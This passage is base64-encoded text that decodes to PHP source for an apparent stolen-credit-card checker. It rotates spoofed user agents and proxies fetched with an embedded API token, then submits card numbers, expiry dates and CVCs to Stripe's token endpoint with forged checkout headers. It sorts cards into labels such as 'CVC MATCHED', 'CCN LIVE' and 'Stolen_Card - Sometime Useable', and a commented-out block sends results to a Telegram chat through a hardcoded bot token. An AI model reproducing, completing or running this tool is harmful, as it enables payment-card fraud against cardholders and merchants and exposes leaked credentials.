ENocm9tZS82MC4wLjMxMTIuMTA3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IiwNCiAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoWDExOyBMaW51eCBpNjg2OyBydjo2NC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzY0LjAiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IHJ2OjY0LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvNjQuMCIsDQogICAgICAgICAgICAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzcwLjAuMzUzOC43NyBTYWZhcmkvNTM3LjM2IiwNCiAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MIGxpa2UgR2Vja28pIENocm9tZS80NC4wLjI0MDMuMTU1IFNhZmFyaS81MzcuMzYiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMSkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQxLjAuMjIyOC4wIFNhZmFyaS81MzcuMzYiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEwXzEpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80MS4wLjIyMjcuMSBTYWZhcmkvNTM3LjM2IiwNCiAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjo2My4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzYzLjAiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjEwOyBydjo2Mi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzYyLjAiLA0KICAgICAgICAgICAgIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjE7IFRyaWRlbnQvNC4wOyBBdmFudCBCcm93c2VyOyBTTENDMjsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDcyOTsgTWVkaWEgQ2VudGVyIFBDIDYuMCkiLA0KICAgICAgICAgICAgIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjA7IFRyaWRlbnQvNC4wOyBBdmFudCBCcm93c2VyOyBTTENDMTsgLk5FVCBDTFIgMi4wLjUwNzI3OyBNZWRpYSBDZW50ZXIgUEMgNS4wOyAuTkVUIENMUiAzLjAuMDQ1MDY7IC5ORVQgQ0xSIDMuNS4yMTAyMjsgSW5mb1BhdGguMikiLA0KICAgICAgICAgICAgIk1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDguMDsgV2luZG93cyBOVCA2LjA7IFRyaWRlbnQvNC4wOyBBdmFudCBCcm93c2VyOyBTTENDMTsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQgQ0xSIDMuMC4zMDYxODsgSW5mb1BhdGguMSkiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgQU9MIDkuNzsgQU9MQnVpbGQgNDM0My4xOTsgV2luZG93cyBOVCA2LjE7IFdPVzY0OyBUcmlkZW50LzUuMDsgRnVuV2ViUHJvZHVjdHMpIiwNCiAgICAgICAgICAgICJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IEFPTCA5Ljc7IEFPTEJ1aWxkIDQzNDMuMjc7IFdpbmRvd3MgTlQgNS4xOyBUcmlkZW50LzQuMDsgLk5FVCBDTFIgMi4wLjUwNzI3OyAuTkVUIENMUiAzLjAuNDUwNi4yMTUyOyAuTkVUIENMUiAzLjUuMzA3MjkpIiwNCiAgICAgICAgICAgICJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA4LjA7IEFPTCA5Ljc7IEFPTEJ1aWxkIDQzNDMuMjE7IFdpbmRvd3MgTlQgNS4xOyBUcmlkZW50LzQuMDsgLk5FVCBDTFIgMS4xLjQzMjI7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjA0NTA2LjMwOyAuTkVUIENMUiAzLjAuMDQ1MDYuNjQ4OyAuTkVUIENMUiAzLjAuNDUwNi4yMTUyOyAuTkVUIENMUiAzLjUuMzA3Mjk7IC5ORVQ0LjBDOyAuTkVUNC4wRSkiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMikgQXBwbGVXZWJLaXQvNTM1LjcgKEtIVE1MLCBsaWtlIEdlY2tvKSBDb21vZG9fRHJhZ29uLzE2LjEuMS4wIENocm9tZS8xNi4wLjkxMi42MyBTYWZhcmkvNTM1LjciLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwgbGlrZSBHZWNrbykgQ2hyb21lLzUxLjAuMjcwNC43OSBTYWZhcmkvNTM3LjM2IEVkZ2UvMTQuMTQ5MzEiLA0KICAgICAgICAgICAgIk9wZXJhLzkuODAgKFgxMTsgTGludXggaTY4NjsgVWJ1bnR1LzE0LjEwKSBQcmVzdG8vMi4xMi4zODggVmVyc2lvbi8xMi4xNiIsDQogICAgICAgICAgICAiT3BlcmEvOS44MCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMC4xNC4xKSBQcmVzdG8vMi4xMi4zODggVmVyc2lvbi8xMi4xNiIsDQogICAgICAgICAgICAiT3BlcmEvOS44MCAoV2luZG93cyBOVCA2LjApIFByZXN0by8yLjEyLjM4OCBWZXJzaW9uLzEyLjE0IiwNCiAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjE7IHg2NDsgZnI7IHJ2OjEuOS4xLjEpIEdlY2tvLzIwMDkwNzIyIEZpcmVmb3gvMy41LjEgT3JjYS8xLjIgYnVpbGQgMiIsDQogICAgICAgICAgICAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfOV8zKSBBcHBsZVdlYktpdC81MzcuNzUuMTQgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzcuMC4zIFNhZmFyaS83MDQ2QTE5NEEiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChpUGFkOyBDUFUgT1MgNl8wIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzUzNi4yNiAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNi4wIE1vYmlsZS8xMEE1MzU1ZCBTYWZhcmkvODUzNi4yNSIsDQogICAgICAgICAgICAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfNl84KSBBcHBsZVdlYktpdC81MzcuMTMrIChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi81LjEuNyBTYWZhcmkvNTM0LjU3LjIiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjAuMzsga28ta3I7IExHLUwxNjBMIEJ1aWxkL0lNTDc0SykgQXBwbGVXZWJraXQvNTM0LjMwIChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi80LjAgTW9iaWxlIFNhZmFyaS81MzQuMzAiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChMaW51eDsgVTsgQW5kcm9pZCA0LjAuMzsgZGUtY2g7IEhUQyBTZW5zYXRpb24gQnVpbGQvSU1MNzRLKSBBcHBsZVdlYktpdC81MzQuMzAgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBNb2JpbGUgU2FmYXJpLzUzNC4zMCIsDQogICAgICAgICAgICAiTW96aWxsYS81LjAgKExpbnV4OyBVOyBBbmRyb2lkIDIuMzsgZW4tdXMpIEFwcGxlV2ViS2l0Lzk5OSsgKEtIVE1MLCBsaWtlIEdlY2tvKSBTYWZhcmkvOTk5LjkiLA0KICAgICAgICAgICAgIk1vemlsbGEvNS4wIChCbGFja0JlcnJ5OyBVOyBCbGFja0JlcnJ5IDk5MDA7IGVuKSBBcHBsZVdlYktpdC81MzQuMTErIChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi83LjEuMC4zNDYgTW9iaWxlIFNhZmFyaS81MzQuMTErIiwNCiAgICAgICAgICAgICJNb3ppbGxhLzUuMCAoQmxhY2tCZXJyeTsgVTsgQmxhY2tCZXJyeSA5ODYwOyBlbi1VUykgQXBwbGVXZWJLaXQvNTM0LjExKyAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNy4wLjAuMjU0IE1vYmlsZSBTYWZhcmkvNTM0LjExKyINCg0KICAgICAgICAgICk7DQokcmFtZG9uX3VzZXJhZ2VudCA9IGFycmF5X3JhbmQoJGFnZW50KTsNCiRVU0VSQUdFTlQgPSAkYWdlbnRbJHJhbWRvbl91c2VyYWdlbnRdOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1bVXNlckFnZW50XS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jDQovLyAkYm90VG9rZW49IjExODc4Mzg1NjQ6QUFHak1PZGMxTktJWWhGM3E4bXplRlh5enl2Zi1SSnBfVzQiOw0KDQovLyAgICR3ZWJzaXRlPSJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90Ii4kYm90VG9rZW47DQovLyAgICRjaGF0SWQ9LTQ4NDM3MjM5OTsgIC8vUmVjZWl2ZXIgQ2hhdCBJZA0KLy8gICAkcGFyYW1zPVsNCi8vICAgICAgICdjaGF0X2lkJz0+JGNoYXRJZCwNCi8vICAgICAgICd0ZXh0Jz0+KCRsaXN0YSAuJHJlc3VsdCksDQovLyAgIF07DQovLyAgICRjaCA9IGN1cmxfaW5pdCgkd2Vic2l0ZSAuICcvc2VuZE1lc3NhZ2UnKTsNCi8vICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgZmFsc2UpOw0KLy8gICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KLy8gICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQovLyAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAoJHBhcmFtcykpOw0KLy8gICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCi8vICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVtQcm94eU9yYml0XS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIw0KJGNwID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY3AsIENVUkxPUFRfVVJMLCAnaHR0cHM6Ly9hcGkucHJveHlvcmJpdC5jb20vdjEvP3Rva2VuPVFERGV2UGE3SWlSVUFEaktZZWk1cFJMci05QUxOak4xc1JQYmdqYTVIaUUmZ29vZ2xlPXRydWUnKTsNCg0KDQpjdXJsX3NldG9wdCgkY3AsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjcCwgQ1VSTE9QVF9DVVNUT01SRVFVRVNULCAiR0VUIik7DQpjdXJsX3NldG9wdCgkY3AsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNwLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjcCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7DQpjdXJsX3NldG9wdCgkY3AsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOw0KDQoNCg0KJHJlc3VsdDEgPSBjdXJsX2V4ZWMoJGNwKTsNCiRyZXNwb25zZSA9IGpzb25fZGVjb2RlKCRyZXN1bHQxKTsNCg0KY3VybF9jbG9zZSgkY3ApOw0KDQoNCiRpcCA9ICRyZXNwb25zZS0+aXA7DQokcG9ydCA9ICRyZXNwb25zZS0+cG9ydDsNCiRwcm90b2NvbCA9ICRyZXNwb25zZS0+cHJvdG9jb2w7DQokb3JiaXQgPSAiJGlwOiRwb3J0IjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tW1Byb3h5T3JiaXRdLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1bRm9yIEF1dGhvcml6aW5nIENhcmRzXS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCg0KJGNoID0gY3VybF9pbml0KCk7DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tW1Byb3h5T3JiaXRdLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFksICRvcmJpdCk7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICdodHRwczovL2FwaS5zdHJpcGUuY29tL3YxL3Rva2VucycpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KA0KJ2FjY2VwdDogYXBwbGljYXRpb24vanNvbicsIA0KJ2NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCidvcmlnaW46IGh0dHBzOi8vY2hlY2tvdXQuc3RyaXBlLmNvbScsDQoncmVmZXJlcjogaHR0cHM6Ly9jaGVja291dC5zdHJpcGUuY29tL20vdjMvaW5kZXgtN2Y2NmMzZDhhZGRmN2FmNGZmYzQ4YWYxNTMwMDQzMmEuaHRtbD9kaXN0aW5jdF9pZD00ZTIyMDJhNC02Mzg1LTBiZDgtNzM2Yi04MjY1MWUxZGYxZWYnLA0KJ3NlYy1mZXRjaC1tb2RlOiBjb3JzJywNCid1c2VyLWFnZW50OiAkVVNFUkFHRU5UJywNCidzZWMtZmV0Y2gtc2l0ZTogc2FtZS1zaXRlJykpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCi8vIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9NQVhDT05ORUNUUywgNik7DQovLyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOw0KLy8gY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BST1hZVFlQRSwgQ1VSTFBST1hZX1NPQ0tTNSk7DQovLyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFlUWVBFLCBDVVJMUFJPWFlfSFRUUCk7DQovLyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFlUWVBFLCBDVVJMUFJPWFlfU09DS1M0KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCBnZXRjd2QoKS4nL2Nvb2tpZS50eHQnKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGdldGN3ZCgpLicvY29va2llLnR4dCcpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICdlbWFpbD0nLiRlbWFpbC4nJnZhbGlkYXRpb25fdHlwZT1jYXJkJnBheW1lbnRfdXNlcl9hZ2VudD1TdHJpcGUrQ2hlY2tvdXQrdjMrY2hlY2tvdXQtbWFuaGF0dGFuKyhzdHJpcGUuanMlMkZhNDQwMTdkKSZyZWZlcnJlcj1odHRwcyUzQSUyRiUyRnRoZW1vdGhlcm1ha2VyLmNvbSUyRm15LWFjY291bnQlMkZhZGQtcGF5bWVudC1tZXRob2QlMkYmcGFzdGVkX2ZpZWxkcz1udW1iZXImY2FyZFtudW1iZXJdPScuJGNjLicmY2FyZFtleHBfbW9udGhdPScuJG1lcy4nJmNhcmRbZXhwX3llYXJdPScuJGFuby4nJmNhcmRbY3ZjXT0nLiRjdnYuJyZjYXJkW25hbWVdPScuJG5hbWUuJyU0MCcuJGxhc3QuJyZ0aW1lX29uX3BhZ2U9MzEyMDAmZ3VpZD0wZTJiMDVlMC0zNzFiLTRlMjktOGQ3Yi1lNTQ0YzE0ZjlkOTkmbXVpZD03NWIyYzBlYy0wM2MzLTQyZjMtOTMyOC0wNzRlM2MzOTc0MjImc2lkPTUxYjIxOTRkLWM5NzItNDEwZS04MTU1LWMxZjQzOTFmOTFjMSZrZXk9Jy4ka2V5U3RyaXBlLicnKTsNCg0KJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9leGVjKCRjdXJsKTsNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1bQ2FyZCBSZXNwb25zZV0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIw0KDQppZiAoc3RycG9zKCRyZXN1bHQsICciY3ZjX2NoZWNrIjogInBhc3MiJykpIHsNCiAgZWNobyAnPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPkFwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+Jy4gJGxpc3RhIC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+ICYjOTgxODsgQ1ZDIE1BVENIRUQgJiM5ODE4OyBTYW1teTAwMDcgJiM5ODE4OyA8L3NwYW4+PC9icj4nOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHJlc3VsdCwgJyJzdGF0dXMiOiJzdWNjZXNzIicpKSB7IA0KICAgIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1zdWNjZXNzIj5BcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPiAmIzk4MTg7IENWQyBNQVRDSEVEICYjOTgxODsgU2FtbXkwMDA3ICYjOTgxODsgPC9zcGFuPjwvYnI+JzsgDQp9DQplbHNlaWYoc3RycG9zKCRyZXN1bHQsICJUaGFuayBZb3UgRm9yIERvbmF0aW9uLiIgKSkgew0KICBlY2hvICc8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+QXByb3ZhZGE8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1zdWNjZXNzIj4nLiAkbGlzdGEgLic8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1zdWNjZXNzIj4gJiM5ODE4OyBDVkMgTUFUQ0hFRCAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7IDwvc3Bhbj48L2JyPic7DQp9DQplbHNlaWYoc3RycG9zKCRyZXN1bHQsICJUaGFuayBZb3UuIiApKSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1zdWNjZXNzIj5BcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPiAmIzk4MTg7IENWQyBNQVRDSEVEICYjOTgxODsgU2FtbXkwMDA3ICYjOTgxODsgPC9zcGFuPjwvYnI+JzsNCn0NCmVsc2VpZihzdHJwb3MoJHJlc3VsdCwgJ3NlY3VyaXR5IGNvZGUgaXMgaW5jb3JyZWN0LicgKSkgew0KICBlY2hvICc8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+UmVwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+Jy4gJGxpc3RhIC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICA8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj4gJiM5ODE4OyBDQ04gTElWRSAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7IDwvc3Bhbj48L2JyPic7DQp9DQplbHNlaWYgKHN0cnBvcygkcmVzdWx0LCAiaW5jb3JyZWN0X2N2YyIpKSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1zdWNjZXNzIj5BcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAgPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICYjOTgxODsgQ0NOIExJVkUgJiM5ODE4OyBTYW1teTAwMDcgJiM5ODE4OyA8L3NwYW4+PC9icj4nOw0KfQ0KZWxzZWlmKHN0cnBvcygkcmVzdWx0LCAnWW91ciBjYXJkIHppcCBjb2RlIGlzIGluY29ycmVjdC4nICkpIHsNCiAgZWNobyAnPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPkFwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+Jy4gJGxpc3RhIC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+ICYjOTgxODsgQ1ZDIE1BVENIRUQgLSBJbmNvcnJlY3QgWmlwICYjOTgxODsgU2FtbXkwMDA3ICYjOTgxODsgPC9zcGFuPjwvYnI+JzsNCn0NCmVsc2VpZiAoc3RycG9zKCRyZXN1bHQsICJzdG9sZW5fY2FyZCIpKSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1zdWNjZXNzIj5SZXByb3ZhZGE8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1zdWNjZXNzIj4nLiAkbGlzdGEgLic8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj4gIDwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAmIzk4MTg7IFN0b2xlbl9DYXJkIC0gU29tZXRpbWUgVXNlYWJsZSAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7IDwvc3Bhbj48L2JyPic7DQp9DQplbHNlaWYgKHN0cnBvcygkcmVzdWx0LCAibG9zdF9jYXJkIikpIHsNCiAgZWNobyAnPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPlJlcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLXN1Y2Nlc3MiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAgPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICYjOTgxODsgTG9zdF9DYXJkIC0gU29tZXRpbWUgVXNlYWJsZSAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7IDwvc3Bhbj48L2JyPic7DQp9DQplbHNlaWYoc3RycG9zKCRyZXN1bHQsICdZb3VyIGNhcmQgaGFzIGluc3VmZmljaWVudCBmdW5kcy4nKSkgew0KICBlY2hvICc8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+UmVwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+Jy4gJGxpc3RhIC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICA8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj4gJiM5ODE4OyBJbnN1ZmZpY2llbnQgRnVuZHMgJiM5ODE4OyBTYW1teTAwMDcgJiM5ODE4OyA8L3NwYW4+PC9icj4nOw0KfQ0KZWxzZWlmKHN0cnBvcygkcmVzdWx0LCAnWW91ciBjYXJkIGhhcyBleHBpcmVkLicpKSB7DQogIGVjaG8gJzxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIiPlJlcHJvdmFkYTwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciAiPicuICRsaXN0YSAuJzwvc3Bhbj4gPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWluZm8iPiAmIzk4MTg7IENhcmQgRXhwaXJlZCAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7PC9zcGFuPiA8L2JyPic7DQp9DQplbHNlaWYgKHN0cnBvcygkcmVzdWx0LCAicGlja3VwX2NhcmQiKSkgew0KICBlY2hvICc8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+UmVwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2Utc3VjY2VzcyI+Jy4gJGxpc3RhIC4nPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtaW5mbyI+ICA8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj4gJiM5ODE4OyBQaWNrdXAgQ2FyZF9DYXJkIC0gU29tZXRpbWUgVXNlYWJsZSAmIzk4MTg7IFNhbW15MDAwNyAmIzk4MTg7IDwvc3Bhbj48L2JyPic7DQp9DQplbHNlaWYoc3RycG9zKCRyZXN1bHQsICdZb3VyIGNhcmQgbnVtYmVyIGlzIGluY29ycmVjdC4nKSkgew0KICBlY2hvICc8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtZGFuZ2VyIj5SZXByb3ZhZGE8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1kYW5nZXIgIj4nLiAkbGlzdGEgLic8L3NwYW4+IDxzcGFuIGNsYXNzPSJiYWRnZSBiYWRnZS1pbmZvIj4gJiM5ODE4OyBJbmNvcnJlY3QgQ2FyZCBOdW1iZXIgJiM5ODE4OyBTYW1teTAwMDcgJiM5ODE4Ozwvc3Bhbj4gPC9icj4nOw0KfQ0KIGVsc2VpZiAoc3RycG9zKCRyZXN1bHQsICJpbmNvcnJlY3RfbnVtYmVyIikpIHsNCiAgZWNobyAnPHNwYW4gY2xhc3M9ImJhZGdlIGJhZGdlLWRhbmdlciI+UmVwcm92YWRhPC9zcGFuPiA8c3BhbiBjbGFzcz0iYmFkZ2UgYmFkZ2UtZGFuZ2VyICI+Jy4gJGxpc3Rh